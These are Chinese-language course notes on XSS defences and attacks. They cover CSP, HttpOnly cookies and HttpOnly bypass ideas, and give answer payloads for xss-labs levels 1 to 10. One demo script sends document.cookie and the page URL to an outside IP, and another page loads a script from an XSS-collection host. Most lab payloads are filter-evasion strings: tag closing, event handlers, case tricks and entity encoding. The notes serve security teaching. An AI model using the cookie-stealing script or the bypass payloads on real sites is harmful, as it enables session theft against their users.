第55天:XSS跨站&CSP策略&HttpOnly属性&Fiter过滤器&标签闭合&事件触发

CSP策略

image-20250814222322980

1
2
3
4
5
6
7
8
9
10
<meta charset="utf-8">
<?php
//只允许加载本地源图片:
//header("Content-Security-Policy:img-src 'self' ");
setcookie('name', 'xiaodi');
setcookie('pass', '123456');
?>
//加载的是一张我随意百度的图片
<img src="https://img1.baidu.com/it/u=1838809789,205932933&fm=253&fmt=auto&app=138&f=JPEG?w=889&h=500"/>
<script>var url='http://47.94.236.117/get.php?u='+window.location.href+'&c='+document.cookie;document.write("<img src="+url+" />");</script>

如果按钮没有开启就可以正常访问外部资源。

image-20250814222425757

一旦开启就会禁止外部资源访问。

XSS跨站-安全防御-HttpOnly

什么是HttpOnly?

如果cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,窃取cookie内容,这样就增加了cookie的安全性,即便是这样,也不要将重要信息存入cookie。XSS全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
// 设置HttpOnly Cookie
//name 启用httponly true
setcookie('name', 'xiaodi', time() + 3600, '/xss', '', false, false);
//pass 没启用httponly false
setcookie('pass', '123456', time() + 3600, '/xss', '', false, false);

// 没有设置HttpOnly
// setcookie('name', 'xiaodi');
// setcookie('pass', '123456');

// 从Cookie中获取值
$cookieValue = $_COOKIE['name'];

// 在HTML中输出Cookie值
?>
<!DOCTYPE html>
<html>
<head>
<title>使用HttpOnly保护Cookie并赋值的页面</title>
</head>
<body>
<h1>使用HttpOnly保护Cookie并赋值的页面</h1>
<p>Cookie值: <?php echo $cookieValue; ?></p>
<script src=http://xsscom.com//YKa98y></script>
</body>
</html>

image-20250815085928885

如何判断目标是否开启http-only

image-20250815090606733

image-20250815091340244

如果在F12进行调试的时候,上图这里如果有勾,说明就是开启。没有就是没有开启

还可以使用:

1
document.cookie

image-20250815090730081

可以上图的命令进行调试,如果可以正确输出cookie,说明就是没有开启。

image-20250815091146017

1
2
3
4
5
6
绕过:有但鸡肋
(1) CVE-2012-0053
(2) PHPINFO页面/
(3) Flash/Java
https://blog.csdn.net/weixin_42478365/article/details/116597222
思路:不获取Cookie采用方式(钓鱼,浏览器攻击框架,就是http-only只是限制了cookie 的获取,可以换钓鱼这样其他的xss攻击方式等)

image-20250815093005964

xss-labs

第一关:

1
<script>alert(1)</script>

第二关:

1
"><script>alert(1)</script>

第三关:

1
' onfocus=javascript:alert() '

第四关:

1
" onfocus=javascript:alert() "

第五关:

1
"><a href="javascript:alert(1)">test</a><"

第六关:

1
"><a HRef="javascript:alert(1)">test</a><"

第七关:

1
2
"><a hrehreff="javasscriptcript:alert(1)">test</a><"
"> <a hrehreff=javasscriptcript:alert()>x</a> <"

第八关:

1
&#x006a;&#x0061;&#x0076;&#x0061;&#x0073;&#x0063;&#x0072;&#x0069;&#x0070;&#x0074;&#x003a;&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0029

第九关:

1
&#x006a;&#x0061;&#x0076;&#x0061;&#x0073;&#x0063;&#x0072;&#x0069;&#x0070;&#x0074;&#x003a;&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0029;/* http:// */

第十关:

image-20250815100557325

1
?t_sort=" onfocus=javascript:alert() type="text

常用标签:

1
2
https://www.freebuf.com/articles/web/340080.html
https://blog.csdn.net/LYJ20010728/article/details/116462782

测试关键字

1
" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()> &#106;